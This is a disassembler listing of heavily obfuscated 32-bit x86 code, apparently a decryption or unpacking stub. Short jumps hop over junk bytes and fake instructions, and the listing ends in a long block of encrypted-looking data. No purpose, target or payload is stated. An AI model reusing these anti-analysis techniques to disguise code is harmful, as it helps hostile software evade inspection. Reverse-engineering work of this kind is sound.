		dd 8F05C3DAh, 347F497Ch, 16AAF3F5h, 0ED57A464h,	0AE504AAEh
		dd 0F5375265h, 0EB5E214Bh
		db 0A1h, 0E3h, 3Eh
; ---------------------------------------------------------------------------


loc_46DB23:				; CODE XREF: DMN1:0046DB02j
		jmp	short loc_46DB38
; ---------------------------------------------------------------------------
		db 79h,	96h, 4Dh
		dd 4BFD560Ah, 0F6578984h, 0D6ABF3F8h, 13191862h
; ---------------------------------------------------------------------------


loc_46DB38:				; CODE XREF: DMN1:loc_46DB23j
		mov	edx, 0B212h


loc_46DB3D:				; CODE XREF: DMN1:0046E17Aj
		jmp	short loc_46DB47
; ---------------------------------------------------------------------------
		cdq
		inc	ebp
		jz	short loc_46DB55
		push	ss
		mov	bl, 43h
		icebp


loc_46DB47:				; CODE XREF: DMN1:loc_46DB3Dj
		cld
		xchg	ebx, edi
		xchg	ebp, ebp
		and	esi, 0B2E50EF7h
		cld
		jmp	short loc_46DB63
; ---------------------------------------------------------------------------


loc_46DB55:				; CODE XREF: DMN1:0046DB41j
		stc
		inc	esp
		xor	al, 0BDh
		sbb	gs:[ecx], edi
		inc	edx
		aam	2Dh
		imul	ecx, [esi], 41h
; ---------------------------------------------------------------------------
		db 0D0h
; ---------------------------------------------------------------------------


loc_46DB63:				; CODE XREF: DMN1:0046DB53j
		jmp	short loc_46DB84
; ---------------------------------------------------------------------------
		db 88h,	0E5h, 13h
		dd 0AD4868C6h, 3C997853h, 0AB3F9A2Ah, 0E789D53Ah, 0A2123C41h
		dd 0A1A9B10Fh, 869C98B0h
; ---------------------------------------------------------------------------


loc_46DB84:				; CODE XREF: DMN1:loc_46DB63j
		jmp	short loc_46DB95
; ---------------------------------------------------------------------------
		dw 0FC2Ah
		dd 538F7420h, 0C22B8EF4h, 0AD58564Ch
		db 34h
; ---------------------------------------------------------------------------


loc_46DB95:				; CODE XREF: DMN1:loc_46DB84j
		jmp	short loc_46DBA9
; ---------------------------------------------------------------------------
		scasb
		db	3Eh
		add	bl, [ebx+18h]
		push	ss
		dec	eax
		db	3Eh
		jbe	short near ptr byte_46DBEE
		add	[edx+0CC353F7h], al
		pop	ecx
		pop	ebx


loc_46DBA9:				; CODE XREF: DMN1:loc_46DB95j
		xchg	ecx, edi
		jmp	short loc_46DBC3
; ---------------------------------------------------------------------------
		push	edi
		adc	eax, [ebx+4842E88Ah]
		retn
; ---------------------------------------------------------------------------
		db 19h,	7Bh, 0ACh
		dd 1B98E6D5h, 86F976E1h
		db 7Ah,	0E0h, 0ADh
; ---------------------------------------------------------------------------


loc_46DBC3:				; CODE XREF: DMN1:0046DBABj
		xchg	edi, edx
		cld
		jmp	short loc_46DBDF
; ---------------------------------------------------------------------------
		dd 0A355EEh, 1DA63B5Dh,	97ABCBF5h, 37A69093h, 0D8D1AE69h
		db 37h,	97h, 0EEh
; ---------------------------------------------------------------------------


loc_46DBDF:				; CODE XREF: DMN1:0046DBC6j
		mov	esi, ecx
		jmp	short loc_46DBEF
; ---------------------------------------------------------------------------
		db 65h
		dd 0BFC6BE65h, 0E6D497CDh
		db 6Ch,	0BEh
byte_46DBEE	db 7Eh			; CODE XREF: DMN1:0046DB9Ej
; ---------------------------------------------------------------------------


loc_46DBEF:				; CODE XREF: DMN1:0046DBE1j
		jmp	short loc_46DC00
; ---------------------------------------------------------------------------
		align 2
		dw 0B408h
		dd 0AC9344B4h, 0EA1E6CADh, 2BCB115Ch
; ---------------------------------------------------------------------------


loc_46DC00:				; CODE XREF: DMN1:loc_46DBEFj
		bswap	eax
		test	ebx, 76C86A8Dh
		jmp	short loc_46DC1F
; ---------------------------------------------------------------------------
		dw 83A7h
		dd 0B77BE107h, 2E4400C2h, 0E9DF70DEh, 2E3D80EBh
; ---------------------------------------------------------------------------
		sti
		shr	edi, 1


loc_46DC1F:				; CODE XREF: DMN1:0046DC08j
		jmp	short loc_46DC2A
; ---------------------------------------------------------------------------
		push	ss
		lodsb
		xor	al, 0CAh
		adc	[ebx+30h], al
		jbe	short near ptr unk_46DC76


loc_46DC2A:				; CODE XREF: DMN1:loc_46DC1Fj
		jmp	short loc_46DC3A
; ---------------------------------------------------------------------------
		dec	ecx
		aaa
		nop
		das
		dec	ebp
		push	ebx
		movsd
		rcl	dword ptr ds:51CB9E85h,	0BEh


loc_46DC3A:				; CODE XREF: DMN1:loc_46DC2Aj
		cld
		xchg	edx, ebp
		jmp	short loc_46DC5C
; ---------------------------------------------------------------------------
		db 45h
		dd 639BA8FAh, 0D9045CE2h, 38C83D8Ch, 0AFAB6B37h, 8F2393BAh
		dd 0CBD811B1h, 20A7F22Bh
; ---------------------------------------------------------------------------


loc_46DC5C:				; CODE XREF: DMN1:0046DC3Dj
		cmc
		jmp	short loc_46DC6C
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5018997Eh, 0F4D07FF8h, 10D06D1h
; ---------------------------------------------------------------------------


loc_46DC6C:				; CODE XREF: DMN1:0046DC5Dj
		jmp	short loc_46DC7A
; ---------------------------------------------------------------------------
		dw 0A8C8h
		db  4Dh	; M
		db  71h	; q
		db  78h	; x
		db  18h
		db 0B4h	; ´
		db 0C3h	; Ã
unk_46DC76	db  0Dh			; CODE XREF: DMN1:0046DC28j
		db  40h	; @
		db  95h	; •
		db  21h	; !
; ---------------------------------------------------------------------------


loc_46DC7A:				; CODE XREF: DMN1:loc_46DC6Cj
		add	esi, edx
		cld
		clc
		jmp	short loc_46DC8B
; ---------------------------------------------------------------------------
		db 67h,	90h
		dw 96E2h
		dd 7BF1EDB3h
		db 74h,	45h, 0EDh
; ---------------------------------------------------------------------------


loc_46DC8B:				; CODE XREF: DMN1:0046DC7Ej
		not	ebx
		stc
		mov	ebp, [esi]
		jmp	short loc_46DCA5
; ---------------------------------------------------------------------------
		dw 70A1h
		dd 0ACD9E317h, 0CA30BB6Dh, 2ACBD1F6h, 3FE38563h
		db 19h
; ---------------------------------------------------------------------------


loc_46DCA5:				; CODE XREF: DMN1:0046DC90j
		jmp	short $+2
		stc
		jmp	short loc_46DCB1
; ---------------------------------------------------------------------------
		dw 7826h
; ---------------------------------------------------------------------------
		mov	eax, ds:75D0F087h


loc_46DCB1:				; CODE XREF: DMN1:0046DCA8j
		jmp	short loc_46DCBD
; ---------------------------------------------------------------------------
		db 8Ah
		dd 2B79604Eh, 231D4A39h
		db 24h
; ---------------------------------------------------------------------------


loc_46DCBD:				; CODE XREF: DMN1:loc_46DCB1j
		clc
		jmp	short loc_46DCD7
; ---------------------------------------------------------------------------
		retf	8BACh
; ---------------------------------------------------------------------------
		db 95h
		dd 1034E695h, 0D1795512h, 0B0A07F32h, 1C21F83Bh
; ---------------------------------------------------------------------------
		dec	esi
		fidivr	word ptr [edx]


loc_46DCD7:				; CODE XREF: DMN1:0046DCBEj
		xchg	esi, eax
		jmp	short loc_46DCDF
; ---------------------------------------------------------------------------
		db 0B2h
		db 0EDh, 0CAh, 0FFh
; ---------------------------------------------------------------------------


loc_46DCDF:				; CODE XREF: DMN1:0046DCD9j
		clc
		xchg	edx, eax
		jmp	short loc_46DCFA
; ---------------------------------------------------------------------------
		dd 8D51DE7Ch, 2078FA85h, 0C480CBB1h, 9933F300h,	1210544Fh
		db 59h,	6Ch
; ---------------------------------------------------------------------------


loc_46DCFA:				; CODE XREF: DMN1:0046DCE2j
		jmp	short loc_46DD11
; ---------------------------------------------------------------------------
		dd 19D19A8h, 93206355h,	0B202A24Eh, 0F8E15EAFh,	7679392Bh
		db 0EAh
; ---------------------------------------------------------------------------


loc_46DD11:				; CODE XREF: DMN1:loc_46DCFAj
		jmp	short loc_46DD2D
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2C815DE5h, 0E00C8F92h, 0E920C41Ch, 0F1E2092Ch, 0EB97064Eh
		dd 1BE4F86Ch
		db 0B1h
; ---------------------------------------------------------------------------


loc_46DD2D:				; CODE XREF: DMN1:loc_46DD11j
		jmp	short loc_46DD46
; ---------------------------------------------------------------------------
		db 30h
		dd 0B4B9EBCFh, 0E609637Dh, 9437427Fh, 0DED90F7Ah, 2BE911D5h
		db 0E5h, 9Ch
; ---------------------------------------------------------------------------


loc_46DD46:				; CODE XREF: DMN1:loc_46DD2Dj
		xor	ebp, [esp]
		xchg	ebp, eax
		cmp	esi, 0C408563h
		jmp	short loc_46DD62
; ---------------------------------------------------------------------------
		db 0C8h
		dd 0B57FFAAh, 0B7ED9689h, 0AC9ACEB1h
		db 0A2h, 0FCh
; ---------------------------------------------------------------------------


loc_46DD62:				; CODE XREF: DMN1:0046DD51j
		jmp	short loc_46DD79
; ---------------------------------------------------------------------------
		dd 7B31E46Eh, 91A210EDh, 1B3548C3h, 0E711510Bh,	12E21CA3h
; ---------------------------------------------------------------------------
		cli


loc_46DD79:				; CODE XREF: DMN1:loc_46DD62j
		jmp	short loc_46DD90
; ---------------------------------------------------------------------------
		db 0E9h
		dd 86F677F4h, 7FF667C3h, 0AEF19C2Eh, 55CC994Ch,	9C6496DEh
; ---------------------------------------------------------------------------


loc_46DD90:				; CODE XREF: DMN1:loc_46DD79j
		cld
		clc
		jmp	short loc_46DD96
; ---------------------------------------------------------------------------
		db 9Ah,	55h
; ---------------------------------------------------------------------------


loc_46DD96:				; CODE XREF: DMN1:0046DD92j
		jmp	short loc_46DDB3
; ---------------------------------------------------------------------------
		dd 1EAA4D2Ch, 0DBB62E01h, 0D5D18E8Eh, 1C1929E2h, 6068CADh
		dd 9DB52A96h
; ---------------------------------------------------------------------------
		adc	eax, [ecx+7Ah]


loc_46DDB3:				; CODE XREF: DMN1:loc_46DD96j
		jmp	short loc_46DDC8
; ---------------------------------------------------------------------------
		db 14h,	6Eh, 2Dh
		dd 95D2D694h, 727B8096h, 0E9B255FEh, 8BF24261h
; ---------------------------------------------------------------------------


loc_46DDC8:				; CODE XREF: DMN1:loc_46DDB3j
		jmp	short loc_46DDE7
; ---------------------------------------------------------------------------
		dw 279Dh
		dd 0A919C1D8h, 9003D587h, 0E6519D12h, 2C724081h, 2A74AF06h
		dd 0D6B6ECCDh
; ---------------------------------------------------------------------------
		add	[edx], ebp
		dec	ecx


loc_46DDE7:				; CODE XREF: DMN1:loc_46DDC8j
		jmp	short loc_46DE05
; ---------------------------------------------------------------------------
		db 0DEh, 0EEh, 0BDh
		dd 0F4190D13h, 0A91266E0h, 0EFC77333h, 0B21A101h, 0C9164024h
		dd 2DC48F13h
		db 6Dh
; ---------------------------------------------------------------------------


loc_46DE05:				; CODE XREF: DMN1:loc_46DDE7j
		jmp	short loc_46DE1F
; ---------------------------------------------------------------------------
		db 7Fh
		dd 18934E9Ch, 572B01B7h, 0C5F6EF10h, 2C47EBAh, 10B81F80h
		db 0FEh, 61h, 5Dh
; ---------------------------------------------------------------------------


loc_46DE1F:				; CODE XREF: DMN1:loc_46DE05j
		jmp	short loc_46DE24
; ---------------------------------------------------------------------------
		mov	ch, 82h
		push	ecx


loc_46DE24:				; CODE XREF: DMN1:loc_46DE1Fj
		jmp	short loc_46DE2A
; ---------------------------------------------------------------------------
		dw 0AEEBh
		db 0F6h, 3Dh
; ---------------------------------------------------------------------------


loc_46DE2A:				; CODE XREF: DMN1:loc_46DE24j
		xchg	eax, [esp]
		jmp	short loc_46DE32
; ---------------------------------------------------------------------------
		db 96h
		db 4Fh,	0Ah
; ---------------------------------------------------------------------------


loc_46DE32:				; CODE XREF: DMN1:0046DE2Dj
		jmp	short loc_46DE4C
; ---------------------------------------------------------------------------
		dd 1D0B3D42h, 7FF9990Dh, 0D01CDDD7h, 4F66F236h,	4D65174Eh
		dd 1BAB2ECEh
; ---------------------------------------------------------------------------


loc_46DE4C:				; CODE XREF: DMN1:loc_46DE32j
		jmp	short loc_46DE6A
; ---------------------------------------------------------------------------
		dw 67B8h
		dd 0F06EE0h, 652B444Ah,	5C985B32h, 134F42D8h, 0C38F651Eh
		dd 276018A5h
; ---------------------------------------------------------------------------
		jge	short loc_46DE90


loc_46DE6A:				; CODE XREF: DMN1:loc_46DE4Cj
		jmp	short loc_46DE75
; ---------------------------------------------------------------------------
		dd 332DA129h, 0B9F07A61h
		db 1Bh
; ---------------------------------------------------------------------------


loc_46DE75:				; CODE XREF: DMN1:loc_46DE6Aj
					; DMN1:0046DE94j
		jmp	short loc_46DE8D
; ---------------------------------------------------------------------------
		db 32h
		dd 7A0D5649h, 1C66C826h, 8754CC23h, 0C9202AE1h,	5E7ADFADh
		db 86h
; ---------------------------------------------------------------------------


loc_46DE8D:				; CODE XREF: DMN1:loc_46DE75j
		std
		neg	ebx


loc_46DE90:				; CODE XREF: DMN1:0046DE68j
		jmp	short loc_46DEA0
; ---------------------------------------------------------------------------
		xchg	eax, esi
		dec	eax
		jnp	short loc_46DE75
		ror	byte ptr [edi+14A22DFFh], 35h
		retf
; ---------------------------------------------------------------------------
		fcom	st(6)


loc_46DEA0:				; CODE XREF: DMN1:loc_46DE90j
		std
		jmp	short loc_46DEBA
; ---------------------------------------------------------------------------
		db 46h
		dd 228D166Ch, 9AC398A4h, 2A4DEE03h, 0FBF1B012h,	412F42CEh
		db 29h,	73h
; ---------------------------------------------------------------------------


loc_46DEBA:				; CODE XREF: DMN1:0046DEA1j
		std
		ror	eax, 1
		cmc
		jmp	short loc_46DEC3
; ---------------------------------------------------------------------------
		db 26h,	90h
		db 74h
; ---------------------------------------------------------------------------


loc_46DEC3:				; CODE XREF: DMN1:0046DEBEj
		jmp	short loc_46DECC
; ---------------------------------------------------------------------------
		fldcw	word ptr [eax+9]
		sub	ah, ch
		fdivrp	st(1), st


loc_46DECC:				; CODE XREF: DMN1:loc_46DEC3j
		cld
		jmp	short loc_46DED8
; ---------------------------------------------------------------------------
		test	[ebx], al
		inc	ecx
		cld
		adc	eax, 516CDFC4h


loc_46DED8:				; CODE XREF: DMN1:0046DECDj
		jmp	short loc_46DEDB
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------


loc_46DEDB:				; CODE XREF: DMN1:loc_46DED8j
		jmp	short loc_46DEFB
; ---------------------------------------------------------------------------
		db 71h,	9Fh, 0A2h
		dd 8F59714Ch, 32D8FE5h,	0BD808F1Bh, 72E385Ah, 4A3789DEh
		dd 0B599274Bh
; ---------------------------------------------------------------------------
		mov	ah, [ebp-7]


loc_46DEFB:				; CODE XREF: DMN1:loc_46DEDBj
		jmp	short loc_46DF08
; ---------------------------------------------------------------------------
		db 3, 85h, 26h
		dd 142F525Bh, 3BE2E5E9h
; ---------------------------------------------------------------------------


loc_46DF08:				; CODE XREF: DMN1:loc_46DEFBj
		jmp	short loc_46DF1B
; ---------------------------------------------------------------------------
		dw 0A353h
		dd 0A4E6D0Fh, 0E9DBB9BDh, 53FFF6Ah
		db 25h,	0D0h, 0A8h
; ---------------------------------------------------------------------------


loc_46DF1B:				; CODE XREF: DMN1:loc_46DF08j
		cmc
		jmp	short loc_46DF28
; ---------------------------------------------------------------------------
		dw 3645h
		dd 0D3FC6F55h, 22E3D22Bh
; ---------------------------------------------------------------------------


loc_46DF28:				; CODE XREF: DMN1:0046DF1Cj
		clc
		std
		clc
		jmp	short loc_46DF47
; ---------------------------------------------------------------------------
		db 41h,	0CFh, 79h
; ---------------------------------------------------------------------------
		lodsb
		fstp8	st
		cmp	eax, 0B51F611h
		pop	es
		fist	word ptr [ecx+11E0A5E1h]
		mov	edi, 0D02D2144h
		retf	3BD9h
; ---------------------------------------------------------------------------


loc_46DF47:				; CODE XREF: DMN1:0046DF2Bj
		sub	eax, 7E8E9E95h
		test	esi, 39FCF0FAh
		jmp	short loc_46DF65
; ---------------------------------------------------------------------------
		db 0CFh, 0CBh, 0Dh
		dd 2FE7E49Eh, 18AADEBEh, 0F0870374h
		db 33h
; ---------------------------------------------------------------------------


loc_46DF65:				; CODE XREF: DMN1:0046DF53j
		xchg	eax, [esp]
		jmp	short loc_46DF75
; ---------------------------------------------------------------------------
		dw 6CA4h
		dd 0D027C213h, 860BEC3Fh
		db 6Ah
; ---------------------------------------------------------------------------


loc_46DF75:				; CODE XREF: DMN1:0046DF68j
		jmp	short loc_46DF94
; ---------------------------------------------------------------------------
		db 94h
		dd 0ED72EB0Dh, 0FB53A954h, 7E4F9787h, 4973C7C5h, 5955186Eh
		dd 442BA0CCh, 0DB7E13ECh
; ---------------------------------------------------------------------------


loc_46DF94:				; CODE XREF: DMN1:loc_46DF75j
		jmp	short loc_46DFA1
; ---------------------------------------------------------------------------
		leave
		popf
		push	9E3EF194h
		xor	[edi-25h], ebp
		popa


loc_46DFA1:				; CODE XREF: DMN1:loc_46DF94j
		jmp	short loc_46DFA9
; ---------------------------------------------------------------------------
		db 0D3h
		dd 5EFAB47Ah
		db 85h
; ---------------------------------------------------------------------------


loc_46DFA9:				; CODE XREF: DMN1:loc_46DFA1j
		jmp	short loc_46DFB2
; ---------------------------------------------------------------------------
		db 3Ch
		dd 3B0563ECh
		db 5Dh,	73h
; ---------------------------------------------------------------------------


loc_46DFB2:				; CODE XREF: DMN1:loc_46DFA9j
		jmp	short loc_46DFC2
; ---------------------------------------------------------------------------
		dd 4C2D70DCh, 0C3A25665h, 89829591h
		db 8Bh,	0DBh
; ---------------------------------------------------------------------------


loc_46DFC2:				; CODE XREF: DMN1:loc_46DFB2j
		mov	esi, ebp
		jmp	short $+2
		jmp	short loc_46DFDE
; ---------------------------------------------------------------------------
		dd 8E8D4B85h, 0B01902DEh, 2B8C04E2h, 0B52FE5E8h, 41AFA821h
		db 6, 0C0h
; ---------------------------------------------------------------------------


loc_46DFDE:				; CODE XREF: DMN1:0046DFC6j
		add	esi, ecx
		jmp	short loc_46DFF2
; ---------------------------------------------------------------------------
		dw 799Bh
		dd 0E83B4B0Ch, 94FD8D3Bh, 6D7025Dh
		db 0A1h, 1
; ---------------------------------------------------------------------------


loc_46DFF2:				; CODE XREF: DMN1:0046DFE0j
		jmp	short loc_46DFFD
; ---------------------------------------------------------------------------
		leave
		push	edx
		pop	ebp
		sub	bh, [ebx+47D20CEh]


loc_46DFFD:				; CODE XREF: DMN1:loc_46DFF2j
		jmp	short loc_46E003
; ---------------------------------------------------------------------------
		db 23h
		db 9, 0E5h, 62h
; ---------------------------------------------------------------------------


loc_46E003:				; CODE XREF: DMN1:loc_46DFFDj
		jmp	short loc_46E00C
; ---------------------------------------------------------------------------
		db 0D4h, 70h, 76h
		db  1Ch
		db  7Fh	; 
		db  0Ah
		db 0EDh	; í
; ---------------------------------------------------------------------------


loc_46E00C:				; CODE XREF: DMN1:loc_46E003j
		xchg	ebp, edx
		jmp	short loc_46E020
; ---------------------------------------------------------------------------
		dd 0BDE81114h, 0EAF16527h, 466D8522h, 8EE14057h
; ---------------------------------------------------------------------------


loc_46E020:				; CODE XREF: DMN1:0046E00Ej
		jmp	short loc_46E029
; ---------------------------------------------------------------------------
		dw 0C5AFh
		dd 0F5E3073h
; ---------------------------------------------------------------------------
		aas


loc_46E029:				; CODE XREF: DMN1:loc_46E020j
		cmc
		mov	[esi], eax
		bswap	ebp
		xchg	ecx, ebx
		jmp	short loc_46E046
; ---------------------------------------------------------------------------
		dw 0EA0h
		dd 70683711h, 752095FFh, 0BBA4EECBh, 62E8D09Bh
		db 8Ch,	1Dh
; ---------------------------------------------------------------------------


loc_46E046:				; CODE XREF: DMN1:0046E030j
		add	ebx, 2
		cmc
		jmp	short loc_46E052
; ---------------------------------------------------------------------------
		dd 3D5E72Bh
		db 0Fh,	0BBh
; ---------------------------------------------------------------------------


loc_46E052:				; CODE XREF: DMN1:0046E04Aj
		jmp	short loc_46E05B
; ---------------------------------------------------------------------------
		dd 712AACBBh
		db 13h,	9Ch, 21h
; ---------------------------------------------------------------------------


loc_46E05B:				; CODE XREF: DMN1:loc_46E052j
		add	ebx, 1
		bswap	ecx
		adc	ecx, 0A56085CDh
		jmp	short loc_46E073
; ---------------------------------------------------------------------------
		dd 0CB6D02ACh, 0BF89BA88h
		db 74h,	0B9h, 0F6h
; ---------------------------------------------------------------------------


loc_46E073:				; CODE XREF: DMN1:0046E066j
		jmp	short loc_46E08A
; ---------------------------------------------------------------------------
		db 0C5h, 0DFh, 0FDh
		dd 0AC8D2826h, 3BE9AB1h, 52A8B2FDh, 2E746D8Fh
; ---------------------------------------------------------------------------
		adc	al, 0E5h


loc_46E08A:				; CODE XREF: DMN1:loc_46E073j
		cld
		jmp	short loc_46E0AB
; ---------------------------------------------------------------------------
		db 76h,	7Ch, 0EEh
		dd 33BDC016h, 447A9B26h, 87F7512h, 674FDA3h, 0C0CEA640h
		dd 0B4367C72h
		db 91h,	0E6h, 2Bh
; ---------------------------------------------------------------------------


loc_46E0AB:				; CODE XREF: DMN1:0046E08Bj
		xchg	esp, edi
		jmp	short loc_46E0CD
; ---------------------------------------------------------------------------
		db 17h
		dd 0F9680829h, 9F597006h, 0D9E9ACACh, 0E1A9D185h, 62A2C3FFh
		dd 291EF62Eh, 0D6024806h
; ---------------------------------------------------------------------------
		setalc


loc_46E0CD:				; CODE XREF: DMN1:0046E0ADj
		jmp	short loc_46E0EC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 7AFB9CF8h, 1E002A26h, 97350D67h, 0F9EF2F03h,	0D17D7E0Eh
		dd 294B7281h, 9287D269h
; ---------------------------------------------------------------------------


loc_46E0EC:				; CODE XREF: DMN1:loc_46E0CDj
		add	ebx, 1
		clc
		jmp	short loc_46E0F6
; ---------------------------------------------------------------------------
		dec	ebp
		inc	eax
		setalc
		nop


loc_46E0F6:				; CODE XREF: DMN1:0046E0F0j
		jmp	short loc_46E0FA
; ---------------------------------------------------------------------------
		db 0Ah,	41h
; ---------------------------------------------------------------------------


loc_46E0FA:				; CODE XREF: DMN1:loc_46E0F6j
		xor	esi, 0A2A2C30Dh
		jmp	short loc_46E106
; ---------------------------------------------------------------------------
		dw 8AB0h
		db 74h,	0CFh
; ---------------------------------------------------------------------------


loc_46E106:				; CODE XREF: DMN1:0046E100j
		rcl	ebp, 1
		xchg	edx, ecx
		sub	esp, 1
		jz	short loc_46E17F
		jmp	short loc_46E120
; ---------------------------------------------------------------------------
		db 0EFh, 98h, 13h
; ---------------------------------------------------------------------------
		std
		jmp	short loc_46E169
; ---------------------------------------------------------------------------
		dec	edx
		std
		les	ebp, [ebx]
		jl	short loc_46E153
		retn	0F1ABh
; ---------------------------------------------------------------------------


loc_46E120:				; CODE XREF: DMN1:0046E10Fj
		xchg	ebp, esi
		std
		xchg	edx, esp
		std
		jmp	short loc_46E132
; ---------------------------------------------------------------------------
		cmp	byte ptr [eax+eax*8], 9Bh
		daa
		setalc
		add	ah, ch
		dec	esp
		cld


loc_46E132:				; CODE XREF: DMN1:0046E126j
		inc	ebp
		jmp	short loc_46E142
; ---------------------------------------------------------------------------
		db 23h,	0B0h, 0D5h
		dd 0BE7DE4C8h, 5F3D822h
		db 0A4h, 7Dh
; ---------------------------------------------------------------------------


loc_46E142:				; CODE XREF: DMN1:0046E133j
		jmp	short loc_46E156
; ---------------------------------------------------------------------------
		dd 11980387h, 0DA81E795h, 0B70EF085h
		db 6Bh,	15h, 2
; ---------------------------------------------------------------------------


loc_46E153:				; CODE XREF: DMN1:0046E11Bj
		push	edi
		cld
		cmpsb


loc_46E156:				; CODE XREF: DMN1:loc_46E142j
		jmp	short loc_46E164
; ---------------------------------------------------------------------------


loc_46E158:				; CODE XREF: DMN1:0046E172j
		db	64h
		xor	eax, 65521A77h
		test	al, 7
; ---------------------------------------------------------------------------
		dd 16201BAh
; ---------------------------------------------------------------------------


loc_46E164:				; CODE XREF: DMN1:loc_46E156j
		xchg	ebp, ecx
		jmp	short loc_46E176
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_46E169:				; CODE XREF: DMN1:0046E115j
		and	ebx, eax
		aam	85h
		push	ecx
		lahf
		sal	dword ptr gs:[ebx], 1
		loopne	loc_46E158
		into
		daa


loc_46E176:				; CODE XREF: DMN1:0046E166j
		bswap	eax
		xchg	esp, edi
		jmp	loc_46DB3D
; ---------------------------------------------------------------------------


loc_46E17F:				; CODE XREF: DMN1:0046E10Dj
		xchg	ebp, ecx
		xchg	esp, edi
		jmp	short loc_46E192
; ---------------------------------------------------------------------------
		db 0ACh, 62h, 94h
; ---------------------------------------------------------------------------
		cmp	eax, 0D4CD9275h
		mov	eax, ds:0AD906C39h


loc_46E192:				; CODE XREF: DMN1:0046E183j
		pop	edx
		jmp	short loc_46E19F
; ---------------------------------------------------------------------------
		db 3Ch,	93h, 6Dh
; ---------------------------------------------------------------------------
		mov	ecx, 61643D8Ah
		xchg	eax, ecx


loc_46E19F:				; CODE XREF: DMN1:0046E193j
		std
		jmp	short loc_46E1A6
; ---------------------------------------------------------------------------
		dw 9B3Ch
		db 0E8h, 0D5h
; ---------------------------------------------------------------------------


loc_46E1A6:				; CODE XREF: DMN1:0046E1A0j
		jmp	short loc_46E1C3
; ---------------------------------------------------------------------------
		dd 2E8F8608h, 0D5BC82D6h, 39397EFEh, 0C4B0E78Ch, 873E7C94h
		dd 0E38F4A04h
		db 0B4h, 88h, 0B9h
; ---------------------------------------------------------------------------


loc_46E1C3:				; CODE XREF: DMN1:loc_46E1A6j
		jmp	loc_46D59E
; ---------------------------------------------------------------------------


loc_46E1C8:				; CODE XREF: DMN1:loc_46EDD4j
		popa
		pop	ebp
		jmp	loc_46DA1F
; ---------------------------------------------------------------------------
		db 66h
		dd 2A43647Fh, 0A18C08B5h, 0C019A4FDh, 0EA995CAAh, 0BE4DF6D7h
		dd 76FCD05Bh, 0DB5CE48Dh, 9B0EC333h, 704DAEFAh,	65B971A0h
		dd 1E5C1546h, 4B7322C8h, 9871149Ch, 0E741097h, 455A3904h
		dd 3DD8185h, 40B8605Ch,	0D8AB6281h, 0EC4284EFh,	45835FFh
		dd 0B008F613h, 5BA18846h, 3BBF5987h, 73CF5AA7h,	1D471731h
		dd 0F168BEB3h, 750243A2h, 65AA5F3Ah, 0F59E3312h, 405A6062h
		dd 8976CF2Dh, 0E22B859h, 0AED59887h, 848FC843h,	98C2AB62h
		dd 9C91E0C5h, 3A49EDA1h, 0CAB3B0Eh, 2DF62AC3h, 7C2E7B92h
		dd 2BD043C6h, 0BD2D35CBh, 0B10CCA89h, 0BA7EC137h, 857E0F65h
		dd 7FCD2249h, 0FFEC9D70h, 37AAF5E0h, 45DDD18Eh,	0A31323C9h
		dd 76E6312Bh, 471490h, 3DBCDA63h, 0F5059287h, 0F40DFA8Eh
		dd 0CE471970h, 0BC0EBC48h, 0C1B6E758h, 0E28CE446h, 0A0879FB5h
		dd 7B4F0613h, 50874078h, 6823046Fh, 0D1C5F232h,	0DDE719EBh
		dd 19DF8FA0h, 3B40AB98h, 5E08A55Ch, 0E2DBF5D2h,	8228EF84h
		dd 0D9F13B3Fh, 37510A72h, 93E77007h, 0D9819EF0h, 1BCDA877h
		dd 57DF8255h, 448C8A42h, 0FC9A78E2h, 3ED86F18h,	94F6C936h
		dd 934C071h, 8933C0Dh, 13C73F7Eh, 0B97DD778h, 0C0C237D9h
		dd 0DA46EA17h, 0C11547A1h, 30C99C54h, 4B5337B1h, 0B0D0D521h
		dd 0FCBF51F2h, 0D41A0910h, 821D4468h, 5EDCD297h, 6CE18448h
		dd 6E2EC4E9h, 273DFEF1h, 32AE0D65h, 85081BF3h, 2E32A594h
		dd 64E1A17Ah, 91EA8EC4h, 0D87681EDh, 0C5C223E6h, 0AB030380h
		dd 221411CEh, 0FC39F3B1h, 0BA958644h, 2581262Fh, 294C7D26h
		dd 36CC4CA7h, 1319DFDEh, 1EDB6440h, 675D76B5h, 0E1B9C263h
		dd 0ADF5570Ch, 0C41DA4B4h, 9A297404h, 6A6CA4Ch,	0BE3E4A61h
		dd 72BF0CD4h, 0F5191286h, 0E69AE44Bh, 608E4CD6h, 0CBAF7C50h
		dd 0B21A4A08h, 3C868F7Ah, 4F40BB9Dh, 404E3A48h,	4AA4ACD7h
		dd 0C329517Ch, 0D40506DEh, 0CAE0D68h, 2C38E491h, 0E263D921h
		dd 0A652789Ah, 0B532B18Ch, 0D98286B6h, 748BB1A6h, 0B9EC2000h
		dd 0D1F00689h, 0BAA240B2h, 39EE191Ah, 0D8145589h, 5EB4371Fh
		dd 43C3DFF8h, 97036D32h, 0BC808D07h, 328FD0CEh,	0F8A1E884h
		dd 4B3DEA3h, 6C79C1BFh,	0C4046FA4h, 63BEED89h, 6CAE7F4Ah
		dd 1FF5C9D6h, 9D1E701Ah, 958E9EC2h, 717AE152h, 0AB481C97h
		dd 0EE9B7CCCh, 0FA94E9BBh, 1E34E314h, 60A2D5C3h, 0E25804F5h
		dd 0F5750D72h, 863F7891h, 80BBB389h, 67AB8B4h, 0C5B77F90h
		dd 1D01521Ch, 0CDCE5D9Dh, 0C4EBC5CCh, 1F37B22h,	0ABB9CF3Ah
		dd 0E4CA952Ah, 5D9D5A9Bh, 0EFC25CCCh, 41A1EEC5h, 0AD8FD8Ch
		dd 0E5A56046h, 185947A7h, 0BD0F4C3Fh, 7A34429Eh, 0C45295EDh
		dd 77E4A300h, 1D852547h, 76FDE2C4h, 8F638496h, 6CDC3575h
		dd 0F8389F1Dh, 0A719D8E6h, 0B4F569BDh, 0CB528897h, 30F3BA4Ah
		dd 0AA05300Bh, 557932BCh, 0FA85AEA9h, 55EAC370h, 2A7BFF7Ah
		dd 0FC0A8E73h, 39A3DF1h, 0AB69E607h, 0B4F63906h, 8AB55F31h
		dd 2DA45D2Eh, 8FBC6BB9h, 0D7274AA2h, 3B6F38ABh,	5D2B8ECh
		dd 0E0A1CDB4h, 9834B31Bh, 9D730F91h, 0A64AB0EAh, 0E199194Eh
		dd 215C5342h, 0D7697064h, 4D070330h, 0A08AFAD7h, 0E4508609h
